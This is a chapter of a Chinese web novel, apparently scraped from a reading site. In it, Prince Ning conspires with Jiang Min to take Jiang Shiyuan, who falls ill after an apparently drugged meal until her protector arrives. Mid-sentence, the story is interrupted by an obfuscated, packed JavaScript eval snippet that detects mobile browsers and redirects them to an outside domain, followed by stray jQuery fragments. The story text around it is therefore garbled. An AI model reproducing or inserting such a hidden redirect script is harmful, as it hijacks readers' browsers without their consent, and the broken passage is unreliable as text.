38. 第 38 章

作品:《寻喵记事

    天光未明,山寺浸在淡蓝的雾霭中。佛堂内烛影摇曳,诵经声低缓,似一缕檀香,浮在晨风里,又散入云间。


    宁王睁着微肿的双眼,手抵在唇边打了个哈欠,斜着眼睛看向旁边的小太监:“怎么样,交代你的事都办妥了吧。”


    一想到那绝色美人,宁王就心痒痒,昨夜翻来覆去没睡好,一闭上眼睛就是那小娘子袅娜纤巧的身影和令人心颤的芙蓉面。


    小唐跪在地上拿过靴子服侍宁王穿上,先是为自己邀了个功:“查清楚了,您的吩咐我哪能不竭尽全力去办呢!”


    宁王睁大眼睛,迫切想要知道那小娘子的信息,抬起脚往小唐胸口不轻不重踹了一脚,含笑道:“行了,莫要卖关子,待事成后,少不了你的好处。”


    小唐爬起来,恭敬地跪在地上,一副奴颜婢膝之态,道:“那小娘子确不是平头百姓家的,但她的父亲可是与您交好呢!”


    宁王来了兴趣,“与我交好?”


    小唐忙不迭点头,生怕主子没了耐心,道:“正是姜闵姜大人的女儿!不过只是个庶女,平日里并不受重视,想来过得也不好。”


    姜闵家正头夫人生的那个女儿他倒是有过一面之缘,生了一副病歪歪的模样,看着就不成气候。可没成想,他家居然还有个如此艳绝的小娘子,有意思。


    至于姜闵么,宁王嗤嗤一笑,那算什么官?若不是那老家伙攀上他,恐怕连姜家的现状都维持不了。


    小唐打量着主子高深莫测的脸色,咽咽口水继续道:“昨日姜大人一家来宝光寺上香,怕是还能住几日呢,您,可要把握住呀。”


    宁王站起身,拍拍锦绣华服上并不存在的灰尘,居高临下睨他一眼,道:“本王用你提醒?可也得寻个正经理由才是。”


    小唐跟在他身边久了,脑子转得特别快,专挑些好听的话说:“王爷您身份贵重,多少人削尖了脑袋想将女儿塞到咱们王府,您随意许她个侍妾的位分,也能得个不让明珠蒙尘的美名啊。”


    宁王哼笑一声,洋洋自得道:“那倒也是。”


    “既如此,你便传本王的意思,邀请姜闵午后在小佛堂见。”


    “奴才领命。”小唐急忙低头回道。


    ——————


    姜时愿醒来的时候外面已经艳阳高照,寺院的小僧尼正拿着扫帚扫地,与地面摩擦,发出规律的“嚓嚓”声。


    叫醒她的并不是这声音,而是……


    她揉揉眼睛,伸出手往后一抓,原本在她头上踩来踩去的黑球瞬间呆若木鸡。


    她一只手握着黑球,另一只则点点罪魁祸首毛绒绒的小脑袋:“好你个黑球,姐姐想睡个懒觉你都不允许,你可别是替人来监视我的吧!”


    捧着木盆进来的香凝恰好听到她的这句话,笑道:“那可不就正好了?瞧这全寺庙里的香客就没有比您能睡的了。”


    姜时愿不好意思的抿嘴笑笑,没有被喊去学规矩,她还有些不习惯,于是问香凝:“父亲去佛前点灯了?”


    香凝从水中捞出帕子,拧的半干后,走到床边,沉吟道:“没有,老爷今早本在佛前跪拜,后来接到什么消息便匆匆离开了,不知去了哪里,想必是有要事吧。”


    姜时愿接过帕子胡乱在自己脸上擦了擦,便迫不及待穿上衣服,没人来扰她,她得去好好去玩玩才行。


    ……


    山门之上,匾额高悬,金漆斑驳,其上镌刻着古朴苍劲的“宝光寺”三字,这正是宝光寺修筑后废弃的一方佛堂。


    佛堂内,佛像金漆早已剥落,半边脸已被岁月蚀去,可剩下的那只眼睛依旧凝视着空荡的佛堂,似在等待最后一位香客。


    最后一滴酒悬在杯沿,与佛眼中那滴未落的慈悲同时坠下。瓷片碎在蒲团前,惊醒了半堂尘埃。


    姜闵起身,朝着某个方向直直跪下去,表情、语气难掩喜意:“有殿下这句话,臣就可以放心将女儿交给您了。”


    宁王笑着将他扶起来,不戳破他的伪善,“快请起,事成后我们可就是亲上加亲的关系了。”


    前途和女儿相比,姜闵几乎没有迟疑,在他看来,能入王府就是姜时愿高攀了。


    他小心对上宁王的眸子,道:“那,我该怎么做。”


    “你呀,就好好在佛前跪祷就是了,什么风声都传不到你的耳朵里。”说到后面,宁王的笑容越发狰狞。


    姜时愿将红绸绑在香樟树的枝丫上,才心满意足跟着香凝回房用膳。


    一脸生的小僧将斋饭送来,不卑不亢地介绍:“今天的膳食有素三丝,白菜豆腐,五宝鲜蔬,这番瓜杂菌盅数量少,因此只取了您一人的份。”


    说完便退下了。


    斋饭清淡,好在入口味道鲜美,姜时愿目光被那造型奇特的番瓜杂菌盅吸引住,抬眼看了看吃的正香的香凝:“你吃了菌子会起疹子,还是不要用的好。”


    香凝点点头,她是万万不敢碰的。


    那一小盅番瓜、菌子便都进了姜时愿的肚子里。


    午膳过后,天气闷热,姜时愿蔫蔫地闷在房里,与上午活泼的样子大相径庭。


    香凝还以为她玩了半天累了,哄她去床上小憩,不知怎的,姜时愿摇着头,小手捏着被子,露出一双水灵灵的泪眸。


    “小姐睡一会吧,醒来了就能尝到奴婢做的槐花茶了,您不是好奇这个味道吗。”香凝轻柔的拍拍被子,待小娘子缓缓阖上眼之后,舒口气。


    好像梦中受了天大的委屈似的,姜时愿时不时抽噎一声,又长又密的睫毛上还挂着晶莹的泪滴。


    香凝借用了寺庙的厨房,又看了会姜时愿,便拿着那筐槐花马不停蹄去厨房熬煮。


    姜时愿闭着眼睛,似乎进入了一个陌生的地方,到处是鲜艳到令人心惊的红色,伸手去碰一下,指尖便一片灼烧火热,她想要尖叫出声却什么声音也发不出。


    心脏正以一种可怕的速度怦怦跳动,嗓子好像被什么东西黏住了,姜时愿好怕,她张着嘴巴,乞求能被人发现。


    “香凝!”声音细软黏腻,短短两个字已耗光了她所有力气。


    不知过了多久……


    香凝终


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998348|174165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    于推开门,瞥见床上那满头大汗,面颊酡红的小娘子,她忙跑上前唤她:“小姐,小姐,您醒醒。”


    姜时愿半睁开眼,额角的汗珠顺着脸颊滑落,她靠在香凝怀中,呼吸急促,哭音虚弱:“香凝,我,我好难受……”


    “您哪里不舒服?”


    姜时愿摇摇头,她也不知道哪难受,可就是满身燥热,甚至异想天开能抱着块冰缓解缓解。


    香凝急得不得了,将人放平后,便出门想去寻人来帮忙,可这偌大的佛寺,她该去找谁呢?


    她急得原地跺跺脚,附近并没有郎中,她像只无头苍蝇,到处乱撞。


    倏地,两个黑衣人突然出现在自己面前,见她满脸焦急,心道不好,神情严肃地阐明了自己的身份。


    暗卫?香凝眼神一亮,对啊,还有贺大人安排的暗卫。


    香凝一下子找到了靠山:“我们小姐,不知道怎么了,喊着身上不舒服,可这一时半会也找不到郎中,现下怎么办才好。”


    暗七朝暗三使了个眼色,暗三点点头,很快便消失了踪影。


    暗七是暗卫中为数不多的女子,余光瞥见墙角处闪过模糊的身影,当机立断:“把小姐挪到其他厢房中去。”


    黑球从小小的房中飞出来,盘旋着飞上天空,很快与云色融为一体。


    那边,贺繁缕发现了飞回来的黑球,紧接着,暗三骑着快马赶到城中。


    苏瑾也察觉到了事情的不妙,贺繁缕眼眸沉沉,甚至来不及听完暗三的话,便命人备了马往城郊赶。


    两刻钟的时间,哒哒的马蹄声在寺前停下,贺繁缕把缰绳扔给冬柳,大步迈进寺院,他神情冷凝,身体里似乎藏着一只野兽,随时准备出动。


    暗七迎上前禀报:“主子,我已扣下那在娘子房前徘徊的人,等候您发落。”


    他略停住脚步,只一眼,便认出了那是宁王身边的小太监。


    香凝脸上挂着泪,将那槐花茶往小姐口中喂,可是刚喝进去一口接着便被吐了出来,姜时愿难耐地在床上扭:“我,我不舒服。”


    这么长时间,姜时愿似乎只会说这句话。


    门被重重打开,贺繁缕修快步走过来,带起一阵风和压抑强势的气场,一双幽黑如墨的眸子紧紧盯着床上嘤嘤哭泣的小娘子。


    他半跪下来,柔着声音安慰她:“圆满乖,我来了,让我看看你怎么样了,好不好?”


    听到熟悉的声音,姜时愿憋闷已久的情绪像是突然寻到了突破口,她慢慢转身,眨着泪眼扑倒他怀里,嗓音黏黏糊糊的:“你,你终于来了,我身上好痛,好痛。”


    一路疾驰,风尘仆仆,贺繁缕身上沾上了丝丝凉气,他将怀中人拉开一点距离,语气诱哄:“乖孩子,让我看看你。”


    然而他身上的凉意对姜时愿来说恰是致命的诱惑,似乎一靠近他,她身上的燥意就消失了一些,可紧接而来的便是更深、更重的热。


    她颊飞红云,眼神迷离,身体酥软地环住男人腰身,声音犹如燕啭莺啼:“……不要,我,好想抱着你。”